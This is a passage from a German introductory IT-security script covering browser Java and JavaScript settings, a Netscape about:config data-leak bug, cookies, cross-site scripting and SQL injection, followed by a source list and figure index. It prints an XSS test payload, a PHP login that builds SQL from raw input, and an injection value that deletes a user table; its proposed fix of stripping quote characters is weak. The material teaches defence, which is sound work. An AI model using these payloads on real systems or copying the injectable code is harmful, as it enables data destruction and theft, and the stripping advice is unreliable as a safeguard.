Alle gängigen Internet-Browser, welche Java unterstützen, bieten eine Option zum Deaktivieren der Java-Unterstützung an.
Beim Browser Firefix ist diese unter BEARBEITEN Menupunkt EIN-STELLUNGEN
zu finden.
Abbildung 6.7: Firefox Einstellungen
Microsofts Internet Explorer stellt die Optionen ebenfalls in einem Dialog unter
ANSICHT Menupunkt INTERNETOPTIONEN... dar. Die eigentliche Java-Option ist
aber erst unter SICHERHEIT Auswahl ANGEPASST zu finden.
68
Abbildung 6.8: Internet Explorer
Die verschiedenen Optionen erlauben es nun dem Anwender, die Rechte von Applets zu erweitern oder auch einzuschränken. Im Normalfall steht hier HOHE SICHERHEIT bzw. JAVA DEAKTIVIERT. Die weiteren Java-Einstellungen sind im Register
ERWEITERT zu finden.
Abbildung 6.9: Erweiterte Java-Einstellungen IE
69
Eigentlich nur für Java-Entwickler ist die Einstellung BENUTZERDEFINIERT interessant, da dort direkt auf die spezifischen Möglichkeiten von Java Bezug genommen
wird.
Abbildung 6.10: Benutzerdefinierte Sicherheitseinstellungen für Java
6.5
Zukunft
Die Zukunft von Java sieht sehr gut aus. Die Gründe dafür liegen unter anderen in
folgenden Punkten:
• Keine andere Programmiersprache hat sich in nur vier Jahren von einem System
für Internetfreaks in eine alltagstaugliche Plattform entwickelt. Und ein Ende
der Entwicklung ist nicht in Sicht. Für den Anwender bedeutet dies unter anderen die Verfügbarkeit verschiedenster Bibliotheken, welche Ihm die Lösung seiner Prob-leme vereinfachen, ohne das Rad selber neu erfinden zu mssen.
• Der Slogan Write once, run everywhere ist heute Realiätt. Anfangs war dieser
Slogan mehr eine theoretische Schlussfolgerung aufgrund der technischen Grundlagen von Java, da die verschiedenen virtuellen Maschinen unterschiedliche Fehler aufwiesen. Lief ein System auf einer Plattform, konnte durch den Wechsel der
virtuellen Maschine das Programm aufgrund neuer - bisher unentdeckter Fehler
- den Dienst verweigern.
• Waren zu Beginn nur die Kommandozeilenwerkzeuge von Sun Microsystems das
Java Developer Kit (kurz JDK) gratis verfügbar, so sind heute viele integrierte
Entwicklungsumgebungen renommierter Hersteller für den privaten und schulischen Gebrauch kostenlos erhältlich, z.B. Visual Age for Java von IBM.
Die Programmiersprache Java löst deshalb in vielen Schulen und vor allem im Privatbereich die klassischen Entwicklungssysteme wie Pascal, Delphi oder Visual Basic ab.
Inzwischen haben sich alle grossen Hersteller von Computerprodukten mit Ausnahme
70
von Microsoft, welche Java (genannt J++) zu Gunsten ihrer recht ähnlichen Programmiersprache C# (Sharp) aufgab, zu Java bekannt und liefern Produkte auf der Basis
von Java aus.
71
Kapitel 7
JavaScript
7.1
Technologie
Die Firma Netscape entwickelte JavaScript, um ihren Browser um einer Scriptsprache
zu erweitern. JavaScript erlaubt die Programmierung einfacher Aufgaben innerhalb
der Browsers selbst, die mit dem bis dato statischen HTML nicht möglich waren.
Diese Scriptsprache ist strikte gegenber Java, welches eine Programmiersprache
darstellt, zu trennen. Die einzige Gemeinsamkeit liegt darin, dass das hauptsächliche
Einsatzgebiet das Internet darstellt. 1997 wurde JavaScript bzw der daraus abgeleitete
Standard ECMA-262 offiziell anerkannt.
Die Spezifikation von ECMA-262 - konkret von ECMA Script : A general-purpose,
cross-platform programming language - ist als Download verfügbar.
Dieses Dokument beschränkt sich auf die Beschreibung von client-side JavaScript,
also von JavaScript, welches im Browser interpretiert wird. Die ebenfalls verfügbare
server-seitige JavaScript Implementation wird nicht besprochen.
JavaScript als Scriptsprache benötigt keinen Compiler, sondern wird direkt im Browser interpretiert, also Schritt für Schritt ausgeführt. Dazu muss der Quellcode des
Scripts in den HTML-Code einer Homepage eingebettet oder zumindest referenziert
werden.
Grundsätzlich gibt es drei mögliche Varianten, JavaScript zu verwenden :
1. Einbinden von Quellcode in HTML-Code mittels <SCRIPT></SCRIPT> Tag
2. Referenzieren einer JavaScript-Datei im <SCRIPT SRC=javascriptdetect.js></SCRIPT>
Tag
3. JavaScript als Teil eines bestehenden HTML-Tags, um Parameter dynamisch anzupassen.
Die erste Variante ist die klassiche Art und Weise, JavaScript zu verwenden. Als Beispiel soll die Erkennung dienen, ob ein Browser JavaScript unterstützt oder nicht.
Diese ist wie folgt zu implementieren:
<html>
<head>
<title>JavaScript Test</title>
<SCRIPT LANGUAGE="JavaScript">
<!-document.write("Ihr Browser verwendet JavaScript.");
document.write("Deaktivieren Sie die Option JavaScript");
document.write("und aktualisieren Sie die Anzeige.");
// -->
</SCRIPT>
72
<NOSCRIPT>
Ihr Browser unterstuetzt kein JavaScript oder wurde deaktiviert.
</NOSCRIPT>
</head>
<body bgcolor="#FFFFFF">
</body>
</html>
Unterstützt der Browser JavaScript, so erscheint der Text in <SCRIPT>, ansonsten
jener in <NOSCRIPT>.
Abbildung 7.1: Netscape mit aktiviertem JavaScript
Die zweite Variante ist nur eine Abwandlung der ersten. Hier wird einfach der
Quellcode, welcher normalerweise in <SCRIPT></SCRIPT> plaziert wird, in eine Datei
ausgelagert.
Die letzte Möglichkeit, also die Einbettung in bestehende HTML-Tags, wird häufig
bei der dynamischen Parametrisierung von Attributen verwendet, z.B. um bei einem
Button zwischen zwei Ansichten hin- und her zu schalten, je nachdem ob sich die Maus
ber dem Button befindet oder nicht.
Eine solche Funktion wird folgendermassen implementiert :
<HTML>
<HEAD>
<TITLE>Animierter Button (JavaScript)</TITLE>
</HEAD>
<BODY>
<A HREF="mailto:[email protected]"
onMouseOver=’button.src="email_select.gif"’
onMouseOut =’button.src="email.gif"’>
<IMG name="button" src="email.gif" border="0">
</A>
</BODY>
</HTML>
Beim Laden der Seite wird das Startbild email.gif angezeigt. Fährt man nun den Mauszeiger über das Bild, so wechselt JavaScript das Bild in email_select.gif und zwar mit
der Funktion onMouseOver. Verlässt die Maus den Bereich des Bildes wieder, so restauriert JavaScript das alte Bild email.gif. Dies erledigt die Funktion onMouseOut.
Das nachfolgende Beispiel zeigt links das originale Bild, wie es nach dem Laden der
Seite dargestellt wird. Rechts daneben das modifizierte Bild, wenn sich die Maus im
Bereich des Bildes befindet.
73
Abbildung 7.2: Mit JavaScript animierte Bilder
Java und JavaScript sind wie schon gesagt, strikte voneinander zu trennen.
7.2
Bedrohung
Die Bedrohung, welche von JavaScript ausgeht, ähnelt sehr stark jener von Java und
dessen Applets. Grundsätzlich ist die Verwendung von solchen Scripts sicher, wenn
nicht die verschiedenen Implementationen immer noch Fehler enthielten. Leider ist
die Anzahl dieser Fehler aktuell noch erschreckend gross.
Ein sehr eifriger Sammler von solchen Implementationsfehlern ist Georg Guninski
(http://www.guninski.com). Auf seiner Homepage findet man nicht nur die Liste der
aktuell bekannten Fehler, sondern gleichzeitig auch diverse Demonstrationen, welche
den jeweils angesprochenen Fehler aufzeigen bzw. ausnutzen.
Der Implementationsfehler View-Source von Netscape soll nun im folgenden detaillierter dargestellt werden
Der View-Source Bug versetzt JavaScript in die Lage, die eigentlich vertrauliche
Seite about:config zu durchsuchen und mittels Cookies (Siehe nächste Kapitel) an einen
Server zu übermitteln. About:config als URL-Adresse in Netscape/Firefox eingegeben
generiert eine Seite, in der sämtliche Einstellungen aufgelistet werden, inklusive der
Email Identität, den Servern und dem verschlüsselten Passwort!
Abbildung 7.3: about:config in Aktion
mail.pop_password = N7v55J6DXNA==
mail.pop_name = [email protected]
mail.smtp_name = myname
mail.identity.username = Hans Muster
network.hosts.pop_server = pop.myprovider.ch
Ein JavaScript-Beispiel, welches obigen Bug ausnutzt, kann so ohne weiteres die EmailIdentität des aktuellen Internetbenutzers ausfindig machen. Nach einer kurzen Suchzeit (die Seite ist doch recht lang), erscheint eine Dialogbox mit dem gesuchten Inhalt.
74
Abbildung 7.4: Resultat der unerlaubten Suche
Ähnliche Spiele liessen sich auch mit der URL about:globalhistory durchführen,
welche eine Auflistung der besuchten Internetseiten (inklusive alle Bilder) bereitstellt.
7.3
Massnahmen
Die einfachste und auch effektivste Massnahme, um sich vor JavaScript zu schützen,
besteht darin, die Unterstützung im Browser zu deaktivieren.
Beim Browser Firefox ist diese unter BEARBEITEN Menupunkt EINSTELLUNGEN zu finden.
75
Abbildung 7.5: Firefox JavaScript Einstellung
Abbildung 74 : Firefox JavaScript Einstellung
Microsofts Internet Explorer stellt die Optionen ebenfalls in einem Dialog unter
ANSICHT Menupunkt INTERNETOPTIONEN... dar. Die eigentliche JavaScript-Option
(Allgemein SCRIPTING) ist aber erst unter SICHERHEIT Auswahl ANGEPASST zu
finden.
Abbildung 7.6: Internet Explorer JavaScript Optionen
76
Kapitel 8
Cookies
8.1
Technologie
Bei der Benutzung von Cookies hinterlegt eine Webside Informationen im Browser des
Internetbenutzers persistent. Diese Informationen können beim nächsten Besuch der
Webside vom Webserver wieder abgefragt und weiter verwendet werden. Somit lassen
sich Web-Seiten persönlich gestalten bzw. eine einmal eingegebene Konfiguration wieder restaurieren. Entwickelt wurde diese Technologie von der Firma Netscape, welche
auch die Referenz online publiziert.
Der Browser speichert die vom Webserver gesendeten Informationen lokal auf der
Festplatte. Je nach verwendeter Software werden die Cookies an unterschiedlichen
Orten im Dateisystem plaziert.
Der Browser Firefox benutzt dazu eine einzelne Datei, die je nach Betriebssystem
folgendermassen heisst :
UNIX cookies
MacOs MagicCookie
Windows cookies.txt
Der Internet Explorer von Microsoft verwendet für die Cookies gleich ein ganzes Verzeichnis, welches sich in der Regel im Benutzerprofil unter C:\Dokumente und Einstellungen befindet. Jede Informationseinheit sprich Cookie wird in einer eigenen Datei
gesichert. Die Namen der einzelnen Dateien folgt nachstehender Namenskonvention:
[email protected]
Nun ein Beispiel, welches die Theorie verständlicher machen soll
Abbildung 8.1: Beispiel http://www.cookiecentral.com/cookie_js14.htm
Angenommen man benutzt den Browser Firefox, so wird in der Datei cookie.txt
eine Eintragung vorgenommen. Dies lässt sich leicht verifizieren, indem man die Datei
cookie.txt in einem Editor öffnet.
# Netscape HTTP Cookie File
# http://www.netscape.com/newsref/std/cookie_spec.html
77
# This is a generated file! Do not edit.
www.cookiecentral.com FALSE / FALSE 952940272 visits 1
Abbildung 77 : Datei Cookie.txt
Von der Webside www.cookiecentral.com wurde also ein Cookie mit Namen visits
gesetzt, welches den Wert 1 aufweist.
Die gespeicherten Informationen lassen sich aber auch anders anzeigen, indem man
nämlich als URL folgenden Text im Browser eingibt
JavaScript:alert(document.cookie);
und ENTER drückt.
Abbildung 8.2: Kontrolle von Cookie-Inhalten
Besucht man diese Webside als Vergleich mit dem Internet Explorer, so findet man
eine neue Datei mit Namen [email protected]. Auch diese Datei
lsst sich im Editor öffnen und anschauen.
visits
1
www.cookiecentral.com/
0
1879512192
29330648
4153988288
29257222
*
8.2
Bedrohung
Cookies sind keine Bedrohungen im Sinne, dass Ihre Daten und Programme auf dem
Computer gefährdet sind. Sie entsprechen eher elektronischen Fussspuren. Websides,
welche Cookies benutzen, speichern lokal ihre Statusinformationen und können bei
einer späteren Rckkehr des Internetbenutzers wieder ausgelesen werden. Die Anonymität des Internetbenutzers ist das Thema, welches hier im Vordergrund steht. So lsst
sich zum Beispiel jedem Besucher einer Webside automatisch eine eindeutige Identifikation zuweisen, welche lokal gespeichert wird. Besucht dieser Kunde dieselbe WebSide ein weiteres Mal, so kann dies anhand der Identifikation erkannt werden. Informationen ber Kundenverhalten lassen sich so auf sehr einfache Art und Weise gewinnen.
Zudem sind die lokal gespeicherten Informationen im Klartext abgelegt und für
jedermann am Computer lesbar. Ein Chef kann so zum Beispiel nachsehen, welche
Websides seine Mitarbeiter im Laufe der Zeit besucht haben.
78
8.3
Massnahmen
Schutzmassnahmen gegenber Cookies sind bei allen gebruchlichen Browsern implementiert.
Mozilla stellt diese unter BEARBEITEN Menupunkt EINSTELLUNGEN im Punkt
ADVANCED dar :
• ALLE COOKIES AKZEPTIEREN
Erlaubt die Benutzung von Cookies ohne Wenn und Aber und von beliebigen Servern.
• NUR AN DEN URSPRÜNGLICHEN SERVER ZURÜCKGESENDETE COOKIES
AKZEPTIEREN
Erlaubt die Benutzung von Cookies, aber nur falls diese von der im Cookie genannten Webside stammen.
• COOKIES DEAKTIVIEREN
Deaktiviert die Cookies komplett.
• WARNMELDUNG VOR DEM AKZEPTIEREN VON COOKIES
Bei jeder Webside, welche Cookies verwenden möchte, wird eine Warnmeldung
angezeigt. Somit kann der Benutzer individuell entscheiden, ob er das Cookie
akzeptieren oder verweigern will.
Abbildung 8.3: Firefox Einstellungen
79
Auch der Internet Explorer bietet Optionen an, die den Gebrauch der Cookies einschränken lassen. Sie sind unter ANSICHT Menupunkt INTERNETOPTIONEN... Titel ERWEITERT zu finden.
Abbildung 8.4: Spezielle Cookies-Einstellungen bei IE
80
Kapitel 9
Cross-Side-Scripting
Mit Web 2.0 wandert immer mehr Applikationslogik von lokal installierten Programmen
weg in Richtung Web. So braucht man nicht mehr unbedingt ein lokal installiertes
Word zum Schreiben
von Dokumenten, sondern kann online mit http://docs.google.com diese gleich im
komplett im Web erstellen und speichern.
Diesem Wandel einher geht auch eine Neuausrichtung von Computerviren. Anstelle
von Programmen,
werden nun Datenübertragungen attackiert. Als Begriff hierfür wurde Cross-SideScription (Abkürzung XSS) definiert. Eine sehr ausführliche Abhandlung zu diesem
Thema ist auf der deutschen Wikipedia Seite1 zu finden.
9.1
Technologie
Bei Web 2.0 Applikationen werden rege Daten zwischen dem lokal arbeitenden Browser und dem für die Applikation
zuständigen Server ausgetauscht.
Abbildung 9.1: Web 2.0 Browser - Server Datentransfer
Browser Der lokale Browser ist für die Darstellung der gelieferten Daten zuständig.
In der Regel werden diese zusätzlich lokal aufbereitet, um die Antwortzeiten zu
optimieren und das Handling zu verbessern. Als Basis für die lokalen Scripts
1 http://de.wikipedia.org/wiki/Cross-Site_Scripting
81
dienen die bereits besprochenen Technologien ActiveX, VB, VB-Script, Java und
JavaScript.
Server Der Server verarbeitet die Daten gemäss der gewählten Logik, z.B. eine Textverarbeitung. Die Programmlogik kann in .Net, Java, PHP, Ruby oder einer anderen Web-fähigen Technologie implementiert werden.
9.2
Bedrohung
Ausgehend von obiger Abbildung sind nun zwei Angriffsvektoren denkbar.
Browser Die eingehenden Daten bestehend aus HTML/XML, JavaScript und den eigenen Programmdaten werden beim Empfang manipuliert. Das Ziel dabei, den
Browser und die lokale Aufbereitsungslogik zu torpedieren.
Server Man manipuliert die Daten, welche an den Server geschickt werden. Dies stört
die Programmlogik auf dem Server.
9.2.1
Browserbeispiel
[GET Parameter werden ohne Prüfung in die Seitendarstellung übernommen, Wikipedia arbeitet mit POPUP <script>alert("XSS")</script>]
9.2.2
Serverbeispiel
Im Juni 2006 machte der Grossverteiler COOP mit einem peinlichen Datenleck2 von
sich reden. Nach einer erfolgreichen Anmeldung für eine der neu beworbenen Kreditkarte, konnte man die in der URL stehende, eigentlich nur für die eigene Person
gedachte ID, z.B. ID=1433, in eine beliebig andere Zahl ändern. Falls sich bereits jemand mit der anderen ID beworben hatte, konnte man die Daten dieser Person ohne
Probleme auslesen.
Der Programmierer hatte schlicht vergessen, bei der Anzeige von Daten zu kontrollieren, ob die gelieferte ID auch wirklich jener der aktuell angemeldeten Person
entspricht. Oder, das wäre die empfohlene Vorgehensweise gewesen, die ID gar nie
zum Client sichtbar auszuliefern.
9.3
Massnahmen
Als Anwender kann man sich vor XSS fast nicht schützen. Einzige Möglichkeit ist, die
lokale Scriptsprache (z.B. JavaScript - Siehe früheres Kapitel) zu deaktivieren. Dann
arbeiten aber keine Web 2.0 Applikationen mehr.
Nein, hier muss der Programmierer in die Pflicht genommen werden. Sämtliche
Daten sind vor der Nutzung zu kontrollieren. Sei es im Browser, wie auch auf dem
Server.
9.4
Zukunft
Die Bedrohung durch XSS wird in Zukunft stark zunehmen. Zum einen da viel mehr
Programme als Web 2.0 erstellt werden.Zum anderen durch die Nutzung von Frameworks (z.B. .Net), welche dem Programmierer viele Routinearbeiten abnehmen. Weisst
ein Framework nun ein XSS-Lücke auf, sind alle damit erstellen Programme betroffen.
2 http://www.tagesanzeiger.ch/dyn/news/wirtschaft/636206.html
82
Kapitel 10
SQL-Injection
10.1
Technologie
SQL injection beschreibt den Vorgang, bei dem anstelle des erwarteten Wertes oder
Textes vollständiger und gültiger SQL-Code eingegeben wird. Dieser SQL-Code wird
zusätzlich zum eigentlich programmierten Programmcode ausgeführt.
10.2
Bedrohung
Hier ein Beispiel mit HTML- und entsprechendem SQL-Code.
<form action="/mylogon.php" method="post">
Userid
<input name="name" type="text" size="20" maxlength="20" />
Password
<input name="kennwort" type="password" size="20" maxlength="20" />
<input class="button" type="submit" value="logon" />
</form>
Und der dazu gehörende PHP-Code.
if ( array_key_exists( ’name’, $_POST)) {
$benutzername = trim( $_POST[ ’name’ ]);
}
if ( array_key_exists( ’kennwort’, $_POST)) {
$kennwort = trim( $_POST[ ’kennwort’ ]);
}
$mysql = "select intuserid from tblusers \
where vchrname like ’$benutzername’ and vchrpwd like ’$kennwort’;";
Ein findiger Benutzer könnte nun folgendes ausprobieren. Anstelle des Passwortes gibt
er folgenden Text ein.
foobar’; delete * from tblusers; -Foobar ist ein willkürlich gewählter Text und kann auch weggelassen werden, was
einem leeren Passwort entspricht. Diese Eingabe wird direkt vom Angreifer mit ’; abgeschlossen. Damit entsteht ein gültiger SQL -Code.
Der Weg ist nun frei, um einen oder mehrere eigene SQL-Befehle einzubringen - die
eigentliche SQL-Injection beginnt. Hier im Beispiel wird versucht, alle Benutzer aus
der Tabelle zu löschen. Falls das Delete Recht gesetzt wurde, könnte sich anschliessend
niemand mehr anmelden.
Der Abschluss mit – zeigt an, dass der nachfolgende Text, den der Programmierer eigentlich ausführen wollte, als Kommentar zu behandeln ist. Damit wird keine
Fehlermeldung aufgrund des unvollständigen SQL-Kommandos ’; angezeigt.
83
10.3
Massnahmen
Eine Abwehr gegen solche Angriffe ist einfach zu realisieren. Der Ansatz besteht darin, das Manipulieren des eigentlich gedachten SQL-Codes zu unterbinden. Aufbauend
auf dem Beispiel müsste man also die Zeichen ’ (Hochkomma), ; (Strichpunkt) und –
(Kommentar) unterbinden.
$benutzername = str_replace( ";", "", $benutzername);
$benutzername = str_replace( "’", "", $benutzername);
$benutzername = str_replace( "--","", $benutzername);
$kennwort = str_replace( ";", "", $kennwort);
$kennwort = str_replace( "’", "", $kennwort);
$kennwort = str_replace( "--","", $kennwort);
Eine andere Vorsichtsmassnahme wäre die Nutzung von Stored Procedures. Die Werte
wären dann die Parameter eines spezifischen Aufrufes und nicht mehr Teil einer oder
mehreren generischen SQL- Befehlen.
84
Anhang A
Quellenverzeichnis
http://scan.coverity.com In collaboration with Stanford University, Coverity is establishing a new baseline for software quality and security in open source. Under a
contract with the Department of Homeland Security, we apply the latest innovations in automated defect detection to uncover some of the most critical types of
bugs found in software.
http://www.heise.de/security/description Security Portal der Heise Zeitschriften
Verlag GmbH & Co in Deutschland
http://www.virus-radar.com The project "Virus radar on-line" serves for monitoring
and statistic analysis of computer infiltrations spread via electronic mail.
http://www.wikipedia.com Wikipedia is a multilingual, web-based, free content encyclopedia project. The name Wikipedia is a portmanteau of the words wiki (a
type of collaborative website) and encyclopedia. Wikipedia’s articles provide links
to guide the user to related pages with additional information.
http://www.bsi.de Das Bundesamt für Sicherheit in der Informationstechnik (BSI)
hat hierbei eine besondere Aufgabe: Wir sind der zentrale IT-Sicherheitsdienstleister
des Bundes. Durch die Grundlagenarbeit im Bereich der IT-Sicherheit übernehmen wir Verantwortung für unsere Gesellschaft und sind damit eine tragende
Säule der inneren Sicherheit in Deutschland.
http://www.av-test.org AV-Test.de ist ein Projekt der Arbeitsgruppe Wirtschaftsinformatik am Institut für Technische und Betriebliche Informationssysteme der
Otto-von-Guericke-Universität Magdeburg in Zusammenarbeit mit der AV-Test
GmbH. Unser Team hat mehr als 15 Jahre Erfahrung im Bereich der IT-Sicherheit.
Wir führen jedes Jahr mehr als 2.000 Einzeltests von Anti-Viren- und Anti-SpywareSoftware, Personal Firewalls sowie verwandter Produkte im Auftrag von Herstellern und Zeitschriften durch.
85
Abbildungsverzeichnis
1.1 Virenimpfung - Quelle «Information Week» Heft 21/1998 Seite 88 . . . . .
5
2.1 Übersicht der Angriffe und deren Bedrohungen
8
3.1
3.2
3.3
3.4
3.5
3.6
3.7
3.8
3.9
3.10
3.11
Phising Email an PostFinance Kunden . . .
Phishing Website mit UBS Look . . . . . .
PostFinance - Information . . . . . . . . . .
Speicherproblem . . . . . . . . . . . . . . . .
ICMP Timestamp Struktur . . . . . . . . .
ICMP Timestamp Reply Struktur . . . . . .
Windows Update on Windows 2003 Server
WSUS Administrationsbackend . . . . . . .
Arbeitsstation mit Konfigurationsschutz . .
MacOsX Software-Aktualisierung . . . . . .
RedHat Network . . . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
14
14
15
16
16
16
17
17
18
18
19
4.1
4.2
4.3
4.4
4.5
4.6
4.7
4.8
4.9
4.10
4.11
4.12
4.13
4.14
4.15
4.16
4.17
4.18
4.19
4.20
4.21
4.22
4.23
4.24
4.25
4.26
4.27
4.28
AV-Test Statistik . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Magazin c’T Heft 4/2000 Seite 209 basierend auf einer Studie des BSI
www.virus-radar.com complete List Year 2005 . . . . . . . . . . . . . .
«Overwrite» vs. «Append» Computerviren . . . . . . . . . . . . . . . . .
Melissa Macrovirus - Wirkfunktion . . . . . . . . . . . . . . . . . . . . .
Startvorgang eines IBM kompatiblen Computers . . . . . . . . . . . . .
CIH Virus Signatur . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Quelle : Tages Anzeiger vom 5. Mai 2000 Seite 2 . . . . . . . . . . . . .
ILOVEYOU Email . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Ausgabe des VisualBasic-Scripts . . . . . . . . . . . . . . . . . . . . . .
Macrowarnung in Microsoft Office . . . . . . . . . . . . . . . . . . . . .
Office 2007 Dateiendungen . . . . . . . . . . . . . . . . . . . . . . . . .
Outlookzugriff zulassen und Zeitdauer . . . . . . . . . . . . . . . . . . .
Office Sicherheitsstufen . . . . . . . . . . . . . . . . . . . . . . . . . . .
Auszug aus der Online-Hilfe von Office 2000 . . . . . . . . . . . . . . .
Auszug aus der Online-Hilfe von Office 2003 . . . . . . . . . . . . . . .
Ursprung der Infektion . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Infiziertes Word-Dokument «List.doc» . . . . . . . . . . . . . . . . . . .
Netbus Client-Server Modell . . . . . . . . . . . . . . . . . . . . . . . . .
EMail mit Attachement . . . . . . . . . . . . . . . . . . . . . . . . . . .
Netbus «remote control» . . . . . . . . . . . . . . . . . . . . . . . . . . .
19.06.2001 00:0 Quelle caida.org . . . . . . . . . . . . . . . . . . . . . .
19.06.2001 12:00 Quelle caida.org . . . . . . . . . . . . . . . . . . . . . .
20.06.2001 00:00 Quelle caida.org . . . . . . . . . . . . . . . . . . . . . .
RPC-Service failed . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Hoax Beispiel . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Artikel (www.heise.de/ct) . . . . . . . . . . . . . . . . . . . . . . . . . . .
Quelle c’T 2000, Heft 4 Seite 210 . . . . . . . . . . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
21
22
23
24
25
26
27
28
29
29
31
32
33
35
36
37
38
39
40
41
41
43
44
44
45
46
47
47
86
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
. . . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
4.29 Microsoft Instant Messenger Wurm . . . . . . . . . . . . . . . . . . . . . . . 48
5.1
5.2
5.3
5.4
5.5
5.6
5.7
5.8
5.9
5.10
5.11
5.12
5.13
Film im lokal installierten Windows Media Player . . . . . . . . . .
ActiveMovie - Komponente im Internet Explorer . . . . . . . . . . .
ActiveX-Objekt Installation . . . . . . . . . . . . . . . . . . . . . . .
ActiveX Beispiel Schach . . . . . . . . . . . . . . . . . . . . . . . . .
Zusammenspiel Office und ActiveX . . . . . . . . . . . . . . . . . . .
Lockseite . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Automatische Installation neuer ActiveX-Objekte in der Fusszeile
Bestätigte Überweisung in Quicken . . . . . . . . . . . . . . . . . .
Internetoptionen IE v5 . . . . . . . . . . . . . . . . . . . . . . . . . .
Warnung bei unbekanntem Zertifikat . . . . . . . . . . . . . . . . .
Add-On Menu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
IE 7 ohne aktiven Add-Ons . . . . . . . . . . . . . . . . . . . . . . .
Sicherheitslücke im ActiveX-Control von CR64Loader . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
52
52
53
54
55
56
56
57
58
59
60
61
62
6.1
6.2
6.3
6.4
6.5
6.6
6.7
6.8
6.9
6.10
Java Runtime Konzept . . . . . . . . . . . . . . . . . .
Yellow Net Startbildschirm . . . . . . . . . . . . . . .
Yellow net in MacOs . . . . . . . . . . . . . . . . . . .
«Hello World» Applet . . . . . . . . . . . . . . . . . . .
Java «Sandbox» . . . . . . . . . . . . . . . . . . . . . .
Ausgelagerte virtuelle Maschine in Java 2 Plattform
Firefox Einstellungen . . . . . . . . . . . . . . . . . . .
Internet Explorer . . . . . . . . . . . . . . . . . . . . .
Erweiterte Java-Einstellungen IE . . . . . . . . . . .
Benutzerdefinierte Sicherheitseinstellungen für Java
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
63
64
65
65
66
67
68
69
69
70
7.1
7.2
7.3
7.4
7.5
7.6
Netscape mit aktiviertem JavaScript . .
Mit JavaScript animierte Bilder . . . . .
about:config in Aktion . . . . . . . . . .
Resultat der unerlaubten Suche . . . . .
Firefox JavaScript Einstellung . . . . .
Internet Explorer JavaScript Optionen .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
73
74
74
75
76
76
8.1
8.2
8.3
8.4
Beispiel http://www.cookiecentral.com/cookie_js14.htm
Kontrolle von Cookie-Inhalten . . . . . . . . . . . . . . .
Firefox Einstellungen . . . . . . . . . . . . . . . . . . . .
Spezielle Cookies-Einstellungen bei IE . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
77
78
79
80
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
9.1 Web 2.0 Browser - Server Datentransfer . . . . . . . . . . . . . . . . . . . . 81
87